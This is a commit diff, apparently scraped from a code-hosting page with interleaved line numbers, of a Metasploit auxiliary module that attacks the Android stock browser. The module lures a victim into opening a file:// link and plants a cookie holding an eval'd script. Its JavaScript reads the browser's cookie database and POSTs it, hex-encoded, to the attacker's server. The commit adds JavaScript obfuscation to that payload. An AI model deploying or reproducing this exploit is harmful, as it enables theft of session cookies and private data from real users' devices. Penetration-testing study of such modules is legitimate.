4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/jsobfu'
7
8
8
9
class Metasploit3 < Msf ::Auxiliary
9
10
10
11
include Msf ::Exploit ::Remote ::HttpServer ::HTML
11
12
include Msf ::Auxiliary ::Report
13
+ include Msf ::Exploit ::JSObfu
12
14
13
15
def initialize ( info = { } )
14
16
super ( update_info ( info ,
@@ -38,7 +40,7 @@ def initialize(info={})
38
40
register_options ( [
39
41
OptString . new ( 'COOKIE_FILE' , [
40
42
true ,
41
- 'The cookie file to steal. This is "webview.db" on some devices .' ,
43
+ 'The cookie file on the device .' ,
42
44
'webviewCookiesChromium.db'
43
45
] )
44
46
] , self . class )
@@ -49,6 +51,9 @@ def on_request_uri(cli, request)
49
51
print_status ( "Processing exfilrated files..." )
50
52
process_post ( cli , request )
51
53
send_response_html ( cli , '' )
54
+ elsif request . uri =~ /\. js$/i
55
+ print_status ( "Sending exploit javascript" )
56
+ send_response ( cli , exfiltration_js , 'Content-type' => 'text/javascript' )
52
57
else
53
58
print_status ( "Sending exploit landing page..." )
54
59
send_response_html ( cli , landing_page_html )
@@ -79,21 +84,21 @@ def landing_page_html
79
84
<html>
80
85
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
81
86
<body style='width:100%;font-size: 16px;'>
82
- <a href='file://#{ cookie_path } '>
87
+ <a href='file://#{ cookie_path ( datastore [ 'COOKIE_FILE' ] ) } # #{ Rex :: Text . encode_base64 ( exfiltration_js ) } '>
83
88
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
84
89
</a>
85
90
<script>
86
- document.cookie=' #{ per_run_token } =<script>eval(atob(" #{ Rex :: Text :: encode_base64 ( exfiltration_js ) } "))< \\ /script>';
91
+ #{ inline_script }
87
92
</script>
88
93
</body>
89
94
</html>
90
95
|
91
96
end
92
97
93
98
def exfiltration_js
94
- %Q|
99
+ js_obfuscate %Q|
95
100
var x = new XMLHttpRequest();
96
- x.open('GET', './ #{ datastore [ 'COOKIE_FILE' ] } ');
101
+ x.open('GET', '');
97
102
x.responseType = 'arraybuffer';
98
103
x.onreadystatechange = function(){
99
104
if (x.readyState == 4) {
@@ -103,32 +108,39 @@ def exfiltration_js
103
108
return (c.length < 2) ? '0'+c : c;
104
109
}).join('');
105
110
var x2 = new XMLHttpRequest();
106
- x2.open('POST', '#{ backend_url } ');
111
+ x2.open('POST', '#{ backend_url } / ');
107
112
x2.setRequestHeader('Content-type', 'text/plain');
108
113
x2.send(hex);
109
114
}
110
115
};
111
116
x.send();
117
+
112
118
|
113
119
end
114
120
115
- def cookie_path
116
- '/data/data/com.android.browser/databases/' + datastore [ 'COOKIE_FILE' ]
121
+ def inline_script
122
+ %Q|
123
+ document.cookie='#{ per_run_token } =<script>eval(atob(location.hash.slice(1)))<\\ /script>';
124
+ |
125
+ end
126
+
127
+ def cookie_path ( file = '' )
128
+ '/data/data/com.android.browser/databases/' + file
117
129
end
118
130
119
131
def backend_url
120
132
proto = ( datastore [ "SSL" ] ? "https" : "http" )
121
133
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
122
134
port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
123
- "#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] } "
135
+ "#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] . gsub ( /^ \/ / , '' ) } "
124
136
end
125
137
126
138
def hex2bin ( hex )
127
139
hex . chars . each_slice ( 2 ) . map ( &:join ) . map { |c | c . to_i ( 16 ) } . map ( &:chr ) . join
128
140
end
129
141
130
142
def per_run_token
131
- @token ||= Rex ::Text . rand_text_alpha ( rand ( 5 ) + 3 )
143
+ @token ||= Rex ::Text . rand_text_alpha ( rand ( 2 ) + 1 )
132
144
end
133
145
134
146
end
0 commit comments